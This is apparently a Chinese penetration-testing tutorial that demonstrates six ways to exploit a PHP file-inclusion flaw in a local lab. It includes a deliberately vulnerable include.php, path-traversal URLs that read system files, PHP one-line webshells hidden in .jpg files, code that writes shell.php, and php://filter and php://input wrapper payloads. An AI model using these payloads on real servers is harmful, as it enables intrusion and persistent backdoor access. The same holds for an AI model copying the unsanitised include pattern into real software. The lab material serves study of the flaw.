当前位置:网站首页>【文件包含漏洞-03】文件包含漏洞的六种利用方式
【文件包含漏洞-03】文件包含漏洞的六种利用方式
2022-06-25 10:23:00 【像风一样9】
目录
1 文件包含漏洞的利用方式简介
在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的利用方法。
利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。
- 读取敏感文件内容;
- 直接包含图片木马GetShell;
- 包含文件写shell文件再GetShell;
- 利用PHP封装读取敏感文件内容;
- 利用PHP封装传输PHP源码;
- 利用PHP封装执行PHP语句。
2 实验环境及准备
(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
- 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。
- 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。
3 利用方式一:读取敏感文件
3.1 实验简介
目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。
我们可以利用文件包含漏洞读取任意文件。读取文件的时候有利条件:
- 目标主机文件存在(目标文件的路径,可用绝对路径或相对路径);
- 具有文件的可读权限。
3.2 实验步骤
以获取服务器本地host文件为例,Windows系统下的host文件路径为c:\windows\System32\drivers\etc\hosts。具体操作步骤如下:
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=c:\windows\System32\drivers\etc\hosts,网页显示如下,可以看到成功显示服务器本地的host文件内容。
(2)以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个…\表示上级目录直到根目录,如http://172.16.1.1/FileInclusion/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。
4 利用方法二:直接包含图片木马GetShell
4.1 实验简介
目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php @eval($_REQUEST['cmd']);?>,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
4.2 实验步骤
(1)真实机使用浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma.jpg&cmd=print(123456);,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。
(2)中国蚁剑连接。由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用http://172.16.1.1/FileInclusion/include.php?path=muma.jpg执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。



(3)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。

5 利用方法三:包含木马写Shell
5.1 实验简介
目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>(该代码含义为:在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>),并命名为muma2.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
5.2 实验步骤
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma2.jpg,网页显示如下,没有报错。
(2)验证刚刚代码是否执行成功。打开靶机中的test文件夹,可以看到成功生成shell.php文件。
(3)打开蚁剑并连接shell.php。右键添加数据→填写数据。如下所示此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。

(4)双击新建的连接,可以成功管理服务器。
6 利用方法四:利用PHP封装协议—读取本地文件
我们可以利用php的file协议访问本地系统文件
6.1 实验简介
目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
6.2 实验步骤
在真实机浏览器输入http://172.16.1.1/FileInclusion/include.php?path=file://c:\windows\System32\drivers\etc\hosts,可以看到成功读取文件内容。
注意:这种方法与直接读取本地文件类似,为什么还要用这种方法。实战中才能体会。
7 利用方法五:利用PHP封装协议—传输PHP文件
7.1 实验简介
目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
7.2 实验步骤
(1)真实机浏览器访问时输入http://172.16.1.1/FileInclusion/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php,页面显示内容如下。这里是利用PHP伪协议来读取文件,filter表示过滤:read表示读取文件内容,读取方式为convert.base64-encode(读取后的文件进行base64编码),resource后面跟资源文件名。
(2)将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。
8 利用方法六:利用PHP封装协议—执行PHP代码(失败,以后再尝试)
8.1 实验简介
目的:在本地或远程没有文件的前提下,直接执行PHP代码。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
8.2 实验步骤
(1)真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键选择Paste URL as request以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。
(2)修改path参数为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>,如下图,并点击发送。在响应中显示探针语句执行结果的。
9 总结
(1)关于图片马的几种执行方式总结:
- 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
《【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx》; - 利用.htaccess修改Apache局部配置。参考《.htaccess攻击实验》
- 利用文件包含执行漏洞。参考本文内容。
(2)掌握文件包含漏洞的六种利用方式。
(3)利用PHP的封装协议的前提条件是开启了远程文件包含(PHP配置文件中将allow_url_include参数配置为On),但是一般情况下该项设置是默认关闭的,那么为啥PHP的封装协议又有什么用途呢?主要是用于打CTF,以及作为一个永久控制的后门。
参考文献
《php://》介绍各类伪协议如下。
边栏推荐
猜你喜欢

Yolov5更换上采样方式

Basic usage and principle of schedulemaster distributed task scheduling center

如何在Microsoft Exchange 2010中安装SSL证书

看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-7

一个五年北漂的技术er,根据这些年的真实经历,给应届生的一些建议

A five-year technical Er, based on the real experience of these years, gives some suggestions to the fresh students

【论文阅读|深读】LINE: Large-scale Information Network Embedding

Flask blog practice - realize the latest articles and search in the sidebar

垃圾回收机制

之前字符串反转的题目
随机推荐
申请多域名SSL证书的要求及注意事项
无心剑中译伊玛·拉扎罗斯《新巨人·自由女神》
ShardingSphere-Proxy 4.1 分庫分錶
什么是 CRA
在Microsoft Exchange Server 2007中安装SSL证书的教程
The real difference between i++ and ++i
[image fusion] image fusion based on morphological analysis and sparse representation with matlab code
原生小程序开发注意事项总结
Identityserver4 definition concept
手机炒股安全吗?
Flask blog practice - archiving and labeling of sidebar articles
Yolov5 changing the upper sampling mode
Deep understanding of JVM - JVM memory model
String longest common prefix
我希望按照我的思路盡可能將canvas基礎講明白
Mongodb's principle, basic use, clustering and partitioned clustering
【OpenCV 例程200篇】210. 绘制直线也会有这么多坑?
Requirements and precautions for applying for multi domain SSL certificate
指南针在上面开股票账户安全吗?
Is it safe to open an account with Guangzhou securities by mobile phone?